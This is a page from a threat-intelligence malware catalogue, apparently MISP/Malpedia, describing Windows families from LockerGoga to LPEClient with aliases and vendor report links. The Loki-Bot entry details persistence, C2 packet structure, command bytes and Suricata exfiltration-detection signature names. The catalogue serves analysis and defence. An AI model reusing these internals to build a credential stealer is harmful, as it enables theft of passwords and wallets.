https://chuongdong.com/reverse%20engineering/2022/03/19/LockbitRansomware/
https://id-ransomware.blogspot.com/search?q=lockbit
https://www.dr.dk/nyheder/viden/teknologi/frygtede-skulle-lukke-alle-vindmoeller-nu-aabner-vestas-op-om-hacking-angreb
https://medium.com/s2wlab/w4-july-en-story-of-the-week-ransomware-on-the-darkweb-c61965d0386a
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html
https://Page-Not-Found-404.com
https://therecord.media/an-interview-with-blackmatter-a-new-ransomware-group-thats-learning-from-the-mistakes-of-darkside-and-revil/
https://news.sophos.com/en-us/2020/04/24/lockbit-ransomware-borrows-tricks-to-keep-up-with-revil-and-maze/
https://blog.cyble.com/2021/08/16/a-deep-dive-analysis-of-lockbit-2-0/

LockerGoga

According to Trend Micro, LockerGoga is a ransomware that has been used in multiple attacks, most notably against Altran Technologies and Norsk Hydro. It encrypts a range of documents and source code files but certain versions had little to no whitelist that would protect import system files such as the Windows Boot Manager.

The tag is: *misp-galaxy:malpedia="LockerGoga"*

LockerGoga is also known as:

Table 4336. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lockergoga
https://dragos.com/wp-content/uploads/Spyware-Stealer-Locker-Wiper-LockerGoga-Revisited.pdf
https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot
https://www.helpnetsecurity.com/2019/04/02/aurora-decrypter-mira-decrypter/
https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
https://content.fireeye.com/m-trends/rpt-m-trends-2020
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/csi-evidence-indicators-for-targeted-ransomware-attacks-part-ii/
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/
https://www.youtube.com/watch?v=o6eEN0mUakM
https://doublepulsar.com/how-lockergoga-took-down-hydro-ransomware-used-in-targeted-attacks-aimed-at-big-business-c666551f5880
https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html
https://www.nrk.no/norge/skreddersydd-dobbeltangrep-mot-hydro-1.14480202
https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/
https://www.bleepingcomputer.com/news/security/new-lockergoga-ransomware-allegedly-used-in-altran-attack/
https://www.bleepingcomputer.com/news/security/fbi-issues-alert-for-lockergoga-and-megacortex-ransomware/
https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-transnaczionalne-zlochinne-ugrupovannya-u-nanesenni-inozemnim-kompaniyam-120-miljoniv-dolariv-zbitkiv/
https://www.govcert.admin.ch/blog/36/severe-ransomware-attacks-against-swiss-smes
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf
https://www.abuse.io/lockergoga.txt
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://blog.talosintelligence.com/lockergoga/
https://www.europol.europa.eu/newsroom/news/12-targeted-for-involvement-in-ransomware-attacks-against-critical-infrastructure

LockFile

A ransomware first observed in July 2021.

The tag is: *misp-galaxy:malpedia="LockFile"*

LockFile is also known as:

Table 4337. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lockfile
https://news.sophos.com/en-us/2021/08/23/proxyshell-vulnerabilities-in-microsoft-exchange-what-to-do/
https://blog.cyble.com/2021/08/25/lockfile-ransomware-using-proxyshell-attack-to-deploy-ransomware/
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/
https://thehackernews.com/2021/08/lockfile-ransomware-bypasses-protection.html
https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader
https://nsfocusglobal.com/insights-into-ransomware-spread-using-exchange-1-day-vulnerabilities-1-2/
https://decoded.avast.io/threatintel/decryptor-for-atomsilo-and-lockfile-ransomware/
https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-hacked-to-deploy-hive-ransomware/
https://www.csoonline.com/article/3631517/lockfile-ransomware-uses-intermittent-encryption-to-evade-detection.html
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows
https://twitter.com/VirITeXplorer/status/1428750497872232459
https://news.sophos.com/en-us/2021/08/27/lockfile-ransomwares-box-of-tricks-intermittent-encryption-and-evasion/

Locky

Locky is a high profile ransomware family that first appeared in early 2016 and was observed being active until end of 2017. It encrypts files on the victim system and asks for ransom in order to have back original files. In its first version it added a .locky extension to the encrypted files, and in recent versions it added the .lukitus extension. The ransom amount is defined in BTC and depends on the actor.

The tag is: *misp-galaxy:malpedia="Locky"*

Locky is also known as:

Table 4338. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.locky
https://www.gdatasoftware.com/blog/2019/06/31666-ransomware-identification-for-the-judicious-analyst
https://www.bleepingcomputer.com/news/security/locky-ransomware-returns-but-targets-only-windows-xp-and-vista/
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/
https://dissectingmalwa.re/picking-locky.html
https://storage.googleapis.com/pub-tools-public-publication-data/pdf/ce44cbda9fdc061050c1d2a5dec0270874a9dc85.pdf
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/
https://intel471.com/blog/a-brief-history-of-ta505
https://blog.malwarebytes.com/threat-analysis/2016/03/look-into-locky/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf
https://www.cylance.com/en_us/blog/threat-spotlight-locky-ransomware.html
http://securityaffairs.co/wordpress/49094/malware/zepto-ransomware.html
https://blog.malwarebytes.com/threat-analysis/2017/01/locky-bart-ransomware-and-backend-server-analysis/
https://thisissecurity.stormshield.com/2018/03/20/de-obfuscating-jump-chains-with-binary-ninja/
https://threatpost.com/ransomware-gang-arrested-locky-hospitals/155842/
https://www.bleepingcomputer.com/news/security/locky-ransomware-switches-to-the-lukitus-extension-for-encrypted-files/
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf
https://blog.botfrei.de/2017/08/weltweite-spamwelle-verbreitet-teufliche-variante-des-locky/
http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/return-of-fake-ups-cannot-deliver-malspam-with-an-updated-nemucod-ransomware-and-kovter-payload/
https://vixra.org/pdf/2002.0183v1.pdf
https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

http://blog.talosintelligence.com/2017/06/necurs-locky-campaign.html

Locky (Decryptor)

The tag is: *misp-galaxy:malpedia="Locky (Decryptor)"*

Locky (Decryptor) is also known as:

Table 4339. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.locky_decryptor

Locky Loader

For the lack of a better name, this is a VBS-based loader that was used in beginning of 2018 to deliver win.locky.

The tag is: *misp-galaxy:malpedia="Locky Loader"*

Locky Loader is also known as:

Table 4340. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.locky_loader

LockPOS

The tag is: *misp-galaxy:malpedia="LockPOS"*

LockPOS is also known as:

Table 4341. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lock_pos
https://www.cylance.com/en_us/blog/threat-spotlight-lockpos-point-of-sale-malware.html
https://www.cyberbit.com/new-lockpos-malware-injection-technique/
https://www.arbornetworks.com/blog/asert/lockpos-joins-flock/

Loda

Loda is a previously undocumented AutoIT malware with a variety of capabilities for spying on victims. Proofpoint first observed Loda in September of 2016 and it has since grown in popularity. The name Loda is derived from a directory to which the malware author chose to write keylogger logs. It should be noted that some antivirus products currently detect Loda as “Trojan.Nymeria”,

although the connection is not well-documented.

The tag is: *misp-galaxy:malpedia="Loda"*

Loda is also known as:

- LodaRAT
- Nymeria

Table 4342. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.loda
https://www.silentpush.com/blog/more-lodarat-infrastructure-targeting-bangladesh-uncovered
https://blog.talosintelligence.com/2020/09/lodarat-update-alive-and-well.html
https://www.proofpoint.com/us/blog/threat-insight/reservations-requested-ta558-targets-hospitality-and-travel
https://www.proofpoint.com/us/threat-insight/post/introducing-loda-malware
https://zerophagemalware.com/2018/01/23/maldoc-rtf-drop-loda-logger/
https://ti.qianxin.com/blog/articles/Kasablanka-Group-Probably-Conducted-Compaigns-Targeting-Russia/
https://blog.talosintelligence.com/2020/02/loda-rat-grows-up.html
https://blog.talosintelligence.com/get-a-loda-this/
https://blog.talosintelligence.com/2021/02/kasablanka-lodarat.html
https://blog.talosintelligence.com/yorotrooper-espionage-campaign-cis-turkey-europe/
https://mp.weixin.qq.com/s/mstwBMkS0G3Et4GOji2mwA
https://blog.talosintelligence.com/attributing-yorotrooper/

LODEINFO

The tag is: *misp-galaxy:malpedia="LODEINFO"*

LODEINFO is also known as:

Table 4343. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lodeinfo
https://blogs.jpcert.or.jp/en/2020/02/malware-lodeinfo-targeting-japan.html
https://blogs.jpcert.or.jp/en/2024/07/mirrorface-attack-against-japanese-organisations.html
https://www.macnica.co.jp/business/security/security-reports/pdf/cyberespionage_report_2023.pdf
https://www.macnica.net/pdf/mpressioncss_ta_report_2019_4_en.pdf

https://blogs.jpcert.or.jp/ja/2020/06/LODEINFO-2.html
https://blogs.jpcert.or.jp/ja/2020/02/LODEINFO.html
https://www.macnica.net/file/mpressioncss_ta_report_2019_4.pdf
https://www.cyberandramen.net/2020/06/analysis-of-lodeinfo-maldoc.html
https://jsac.jpcert.or.jp/archive/2024/pdf/JSAC2024_2_7_hara_shoji_higashi_vickie-su_nick-dai_en.pdf
https://www.youtube.com/watch?v=zSEySLeWrMQ
https://securelist.com/apt10-tracking-down-lodeinfo-2022-part-ii/107745/
https://blogs.jpcert.or.jp/en/2021/02/LODEINFO-3.html
https://web-assets.esetstatic.com/wls/en/papers/threat-reports/eset-apt-activity-report-q2-2023-q3-2023.pdf
https://blog-en.itochuci.co.jp/entry/2024/01/24/134100
https://www.trendmicro.com/en_us/research/24/k/lodeinfo-campaign-of-earth-kasha.html
https://jsac.jpcert.or.jp/archive/2023/pdf/JSAC2023_1_6_minakawa-saika-kubokawa_en.pdf
https://securelist.com/apt-trends-report-q3-2020/99204/
https://securelist.com/apt10-tracking-down-lodeinfo-2022-part-i/107742/
https://www.welivesecurity.com/2022/12/14/unmasking-mirrorface-operation-liberalface-targeting-japanese-political-entities/
https://twitter.com/jpcert_ac/status/1351355443730255872

Logedrut

The tag is: *misp-galaxy:malpedia="Logedrut"*

Logedrut is also known as:

Table 4344. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.logedrut
https://researchcenter.paloaltonetworks.com/2016/09/mile-tea-cyber-espionage-campaign-targets-asia-pacific-businesses-and-government-agencies/

LogPOS

The tag is: *misp-galaxy:malpedia="LogPOS"*

LogPOS is also known as:

Table 4345. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.logpos
https://securitykitten.github.io/2015/11/16/logpos-new-point-of-sale-malware-using-mailslots.html
https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2015-11-16-logpos-new-point-of-sale-malware-using-mailslots.md

Logtu

The tag is: *misp-galaxy:malpedia="Logtu"*

Logtu is also known as:

Table 4346. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.logtu
https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-Targeted-attack-on-industrial-enterprises-and-public-institutions-En.pdf
https://news.drweb.ru/show/?i=14177
https://www.socinvestigation.com/chinese-new-backdoor-deployed-for-cyberespionage/

LoJax

The tag is: *misp-galaxy:malpedia="LoJax"*

LoJax is also known as:

Table 4347. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lojax
https://blogs.vmware.com/security/2021/06/detecting-uefi-bootkits-in-the-wild-part-1.html
https://www.youtube.com/watch?v=VeoXT0nEcFU
https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf
https://symantec-blogs.broadcom.com/blogs/election-security/apt28-espionage-military-government
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://habr.com/ru/amp/post/668154/
https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/

LokiLocker

LokiLocker is a .Net ransomware, which was seen first in August 2021. This malware is protected

with NETGuard (modified ConfuserEX) using the additional KoiVM virtualization plugin. The victims were observed ti be scattered around the world, with main concentation in Estern Europe and Asia (BlackBerry).

The tag is: *misp-galaxy:malpedia="LokiLocker"*

LokiLocker is also known as:

Table 4348. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lokilocker
https://www.theregister.com/2022/03/16/blackberry_lokilocker_ransomware/
https://asec.ahnlab.com/en/52570/
https://blogs.blackberry.com/en/2022/03/lokilocker-ransomware
https://www.msspalert.com/cybersecurity-research/lokilocker-ransomware-may-use-false-flag-to-avoid-identification/

Loki Password Stealer (PWS)

"Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets." - PhishMe

Loki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.

Loki-Bot accepts a single argument/switch of ‘-u’ that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.

The Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: “B7E1C2CC98066B250DDB2123“.

Loki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: “%APPDATA%\ C98066\”.

There can be four files within the hidden %APPDATA% directory at any given time: “.exe,” “.lck,” “.hdb” and “.kdb.” They will be named after characters 13 thru 18 of the Mutex. For example: “6B250D.” Below is the explanation of their purpose:

FILE EXTENSION FILE DESCRIPTION .exe A copy of the malware that will execute every time the user account is logged into .lck A lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts .hdb A database of hashes for data that has already been exfiltrated to the C2 server .kdb A database of keylogger data that has yet to be sent to the C2 server

If the user is privileged, Loki-Bot sets up persistence within the registry under HKEY_LOCAL_MACHINE. If not, it sets up persistence under HKEY_CURRENT_USER.

The first packet transmitted by Loki-Bot contains application data.

The second packet transmitted by Loki-Bot contains decrypted Windows credentials.

The third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet it sent.

Communications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.

The first WORD of the HTTP Payload represents the Loki-Bot version.

The second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:

BYTE PAYLOAD TYPE 0x26 Stolen Cryptocurrency Wallet 0x27 Stolen Application Data 0x28 Get C2 Commands from C2 Server 0x29 Stolen File 0x2A POS (Point of Sale?) 0x2B Keylogger Data 0x2C Screenshot

The 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically “ckav.ru”. If you come across a Binary ID that is different from this, take note!

Loki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.

The Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bot’s C2 infrastructure.

Loki-Bot can accept the following instructions from the C2 Server:

BYTE INSTRUCTION DESCRIPTION 0x00 Download EXE & Execute 0x01 Download DLL & Load #1 0x02 Download DLL & Load #2 0x08 Delete HDB File 0x09 Start Keylogger 0x0A Mine & Steal Data 0x0E Exit Loki-Bot 0x0F Upgrade Loki-Bot 0x10 Change C2 Polling Frequency 0x11 Delete Executables & Exit

Suricata Signatures RULE SID RULE NAME 2024311 ET TROJAN Loki Bot Cryptocurrency Wallet Exfiltration Detected 2024312 ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M1 2024313 ET TROJAN Loki Bot Request for C2 Commands Detected M1 2024314 ET TROJAN Loki Bot File Exfiltration Detected 2024315 ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M1 2024316 ET TROJAN Loki Bot Screenshot Exfiltration Detected 2024317 ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M2 2024318 ET TROJAN Loki Bot Request for C2 Commands Detected M2 2024319 ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M2

The tag is: *misp-galaxy:malpedia="Loki Password Stealer (PWS)"*

Loki Password Stealer (PWS) is also known as:

- Burkina
- Loki
- LokiBot
- LokiPWS

Table 4349. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lokipws
https://www.atomicmatryoshka.com/post/malware-headliners-lokibot
https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf
https://clickallthethings.wordpress.com/2020/03/31/lokibot-getting-equation-editor-shellcode/
https://isc.sans.edu/diary/24372
https://securityintelligence.com/posts/roboski-global-recovery-automation/
https://www.youtube.com/watch?v=N0wAh26wShE
http://www.malware-traffic-analysis.net/2017/06/12/index.html
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/loki-info-stealer-propagates-through-lzh-files
https://blog.prevailion.com/2020/02/the-triune-threat-mastermana-returns.html
https://blog.yoroi.company/research/aggah-how-to-run-a-botnet-without-renting-a-server-for-more-than-a-year/
https://securelist.com/loki-bot-stealing-corporate-passwords/87595/
https://phishme.com/loki-bot-malware/
https://malcat.fr/blog/reversing-a-nsis-dropper-using-quick-and-dirty-shellcode-emulation/
https://www.logpoint.com/en/blog/hiding-in-plain-sight-the-subtle-art-of-loki-malwares-obfuscation/
https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html
https://github.com/R3MRUM/loki-parse
https://www.proofpoint.com/us/blog/threat-insight/commodity-net-packers-use-embedded-images-hide-payloads
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/evasive-urls-in-spam-part-2/
https://malcat.fr/blog/statically-unpacking-a-simple-net-dropper/
http://reversing.fun/posts/2021/06/08/lokibot.html
https://ivanvza.github.io/posts/lokibot_analysis
https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter
https://cybergeeks.tech/how-to-expose-a-potential-cybercriminal-due-to-misconfigurations/

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/spammed-png-file-hides-lokibot/

https://resources.malwarebytes.com/files/2020/05/CTNT_Q1_2020_COVID-Report_Final.pdf

https://securityintelligence.com/x-force/spam-trends-campaigns-senior-superlatives-2023/

https://www.fortinet.com/blog/threat-research/lokibot-targets-microsoft-office-document-using-vulnerabilities-and-macros

https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord

https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html

https://github.com/d00rt/hijacked_lokibot_version/blob/master/doc/LokiBot_hijacked_2018.pdf

https://0xmrmagnezi.github.io/malware%20analysis/LokiBot/

https://www.lastline.com/blog/password-stealing-malware-loki-bot/

https://blog.fortinet.com/2017/05/17/new-loki-variant-being-spread-via-pdf-file

https://cysinfo.com/nefarious-macro-malware-drops-loki-bot-across-gcc-countries/

http://reversing.fun/reversing/2021/06/08/lokibot.html

https://r3mrum.wordpress.com/2017/05/07/loki-bot-atrifacts/

https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko

https://www.virusbulletin.com/virusbulletin/2020/02/lokibot-dissecting-cc-panel-deployments/

https://www.youtube.com/watch?v=K3Yxu_9OUxU

https://marcoramilli.com/2019/10/28/sweed-targeting-precision-engineering-companies-in-italy/

https://blog.talosintelligence.com/2019/07/sweed-agent-tesla.html

https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/

http://blog.reversing.xyz/reversing/2021/06/08/lokibot.html

https://www.lac.co.jp/lacwatch/report/20220307_002893.html

https://www.sans.org/reading-room/whitepapers/malicious/loki-bot-information-stealer-keylogger-more-37850

https://www.youtube.com/watch?v=-FxyzuRv6Wg

https://logpoint.com/en/blog/emerging-threats/hiding-in-plain-sight-the-subtle-art-of-loki-malwares-obfuscation

https://cybergeeks.tech/how-to-expose-a-potential-cybercriminal-due-to-misconfigurations

https://lab52.io/blog/a-twisted-malware-infection-chain/

https://www.infoblox.com/wp-content/uploads/infoblox-whitepaper-deep-analysis-of-a-recent-lokibot-attack.pdf

https://research.checkpoint.com/2019/select-code_execution-from-using-sqlite/

https://news.sophos.com/en-us/2020/05/14/raticate/

https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf
https://isc.sans.edu/diary/27282
https://www.trendmicro.com/en_us/research/21/h/new-campaign-sees-lokibot-delivered-via-multiple-methods.html
https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145
https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/
https://www.ciphertechsolutions.com/roboski-global-recovery-automation/
https://medium.com/@paul.k.burbage/the-tale-of-the-pija-droid-firefinch-4d304fde5ca2

Lokorrito

According to ESET, this is a banking trojan that was active mainly in Mexico until the beginning of 2020, with builds for Brazil, Chile, and Colombia also having been identified.

The tag is: *misp-galaxy:malpedia="Lokorrito"*

Lokorrito is also known as:

Table 4350. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lokorrito
https://www.welivesecurity.com/2021/12/15/dirty-dozen-latin-america-amavaldo-zumanek/

LOLSnif

The tag is: *misp-galaxy:malpedia="LOLSnif"*

LOLSnif is also known as:

Table 4351. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lolsnif
https://research.checkpoint.com/2020/gozi-the-malware-with-a-thousand-faces/
https://thedfirreport.com/2020/04/24/ursnif-via-lolbins/
https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/
https://www.telekom.com/en/blog/group/article/lolsnif-tracking-another-ursnif-based-targeted-campaign-600062
https://medium.com/@vishal_thakur/lolsnif-malware-e6cb2e731e63

LONGWATCH

The primary function of LONGWATCH is a keylogger that outputs keystrokes to a log.txt file in the Windows temp folder.

The tag is: *misp-galaxy:malpedia="LONGWATCH"*

LONGWATCH is also known as:

Table 4352. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.longwatch
https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html
https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae

looChiper

LooChiper is a Ransomware. It uses a nice but scary name: LooCipher. The name is at the same time an allusion to its capabilities (thank to the term “Cipher”) and to the popular mythological figure, Lucifer. Despite its evocative nickname, the functionalities of this malware are pretty straight forward, not very different from those belonging to many other ransomware families.

The tag is: *misp-galaxy:malpedia="looChiper"*

looChiper is also known as:

Table 4353. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.loochiper

Lookback

The tag is: *misp-galaxy:malpedia="Lookback"*

Lookback is also known as:

Table 4354. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lookback
https://www.dragos.com/blog/industry-news/new-ics-threat-activity-group-talonite/
https://www.proofpoint.com/us/blog/threat-insight/ta410-group-behind-lookback-attacks-against-us-utilities-sector-returns-new

https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape
https://www.welivesecurity.com/2022/04/27/lookback-ta410-umbrella-cyberespionage-ttps-activity/
https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf
https://threatgen.com/taking-a-closer-look-at-the-lookback-malware-campaign-part-1/
https://www.proofpoint.com/us/threat-insight/post/lookback-forges-ahead-continued-targeting-united-states-utilities-sector-reveals
https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks
https://www.botconf.eu/wp-content/uploads/formidable/2/Botconf2022-19-FaouCoteCyr.pdf
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/witchetty-steganography-espionage
https://nao-sec.org/2021/01/royal-road-redive.html

L0rdix

L0rdix is a multipurpose .NET remote access tool (RAT) first discovered being sold on underground forums in November 2018. Out of the box, L0rdix supports eight commands, although custom commands can be defined and added. These include:

Download and execute Update Open page (visible) Open page (invisible) Cmd Kill process Upload file HTTP Flood

L0rdix can extract credentials from common web browsers and steal data from crypto wallets and a target's clipboard. Optionally, L0rdix can deploy a cryptominer (XMRig) to its bots.

The tag is: *misp-galaxy:malpedia="L0rdix"*

L0rdix is also known as:

- lordix

Table 4355. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lordix
https://github.com/cryptogramfan/Malware-Analysis-Scripts/blob/master/decrypt_l0rdix_c2.py
https://twitter.com/hexlax/status/1058356670835908610
https://www.bromium.com/an-analysis-of-l0rdix-rat-panel-and-builder/
https://www.bromium.com/decrypting-l0rdix-rats-c2/
https://blog.ensilo.com/l0rdix-attack-tool

Lorenz

Tesorion describes Lorenz as a ransomware with design and implementation flaws, leading to impossible decryption with tools provided by the attackers. A free decryptor for 2021 versions was made available via the NoMoreRansom initiative. A new version of the malware was discovered in March 2022, for which again was provided a free decryptor, while the ransomware operators are not able to provide tools to decrypt affected files.

The tag is: *misp-galaxy:malpedia="Lorenz"*

Lorenz is also known as:

Table 4356. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lorenz
https://arcticwolf.com/resources/blog/lorenz-ransomware-getting-dumped/
https://www.bleepingcomputer.com/news/security/meet-lorenz-a-new-ransomware-gang-targeting-the-enterprise/
https://www.cybereason.com/blog/cybereason-vs.-lorenz-ransomware
https://www.tesorion.nl/en/posts/lorenz-ransomware-analysis-and-a-free-decryptor/
https://www.tesorion.nl/en/posts/lorenz-ransomware-rebound-corruption-and-irrecoverable-files/
https://therecord.media/free-decrypter-available-for-lorenz-ransomware/
https://twitter.com/AltShiftPrtScn/status/1423190900516302860?s=20
https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/

Loup

Frank Boldewin describes Loup as a small cli-tool to cash out NCR devices (ATM).

The tag is: *misp-galaxy:malpedia="Loup"*

Loup is also known as:

Table 4357. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.loup
https://twitter.com/Arkbird_SOLG/status/1295396936896438272
https://twitter.com/r3c0nst/status/1295275546780327936

LoupeLoader

The tag is: *misp-galaxy:malpedia="LoupeLoader"*

LoupeLoader is also known as:

Table 4358. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.loupeloader
https://www.virustotal.com/gui/file/b5c30a147d6529be8d37b9bce653d8eb8c9a1b723b2edcdf971ea2bb28097629

LOWBALL

LOWBALL, uses the legitimate Dropbox cloud-storage service to act as the CnC server. It uses the Dropbox API with a hardcoded bearer access token and has the ability to download, upload, and execute files. The communication occurs via HTTPS over port 443.

The tag is: *misp-galaxy:malpedia="LOWBALL"*

LOWBALL is also known as:

Table 4359. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lowball
https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html
https://kindredsec.com/2019/08/12/an-overview-of-public-platform-c2s/
https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/

LOWKEY

The tag is: *misp-galaxy:malpedia="LOWKEY"*

LOWKEY is also known as:

- PortReuse

Table 4360. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lowkey
https://www.welivesecurity.com/2019/10/21/winnti-group-skip2-0-microsoft-sql-server-backdoor/
https://www.mandiant.com/resources/apt41-us-state-governments
https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Winnti.pdf
https://www.fireeye.com/blog/threat-research/2019/10/lowkey-hunting-for-the-missing-volume-serial-id.html

LOWZERO

The tag is: *misp-galaxy:malpedia="LOWZERO"*

LOWZERO is also known as:

Table 4361. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lowzero
https://malgamy.github.io/malware-analysis/The-Approach-of-TA413-for-Tibetan-Targets/#third-stage
https://go.recordedfuture.com/hubfs/reports/cta-2022-0922.pdf

LPEClient

LPEClient is an HTTP(S) downloader that expects two command line parameters: an encrypted string containing two URLs (a primary and a secondary C&C server), and the path on the victim's file system to store the downloaded payload.

It sends detailed information about the victim's environment, like computer name, type and number of processors, computer manufacturer, product name, major and minor Windows versions, architecture, memory information, installed security software and the version of the ntoskrnl.exe from its version-information resource.

LPEClient uses specific 32-bit values to represent its execution state (0x59863F09 when connecting via the WinHTTP interface, 0xA9348B57 via WinINet), or the nature of HTTP requests to the C&C servers (0xF07D6B34 when sending system information, 0xEF8C0D51 when requesting a DLL payload, 0xCB790A25 when reporting the successful loading of the DLL, 0xD7B20A96 when reporting the state of the the DLL execution). As the final step, malware looks for the export CloseEnv and executes it.

The tag is: *misp-galaxy:malpedia="LPEClient"*

LPEClient is also known as:

- LPEClientTea

Table 4362. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lpeclient
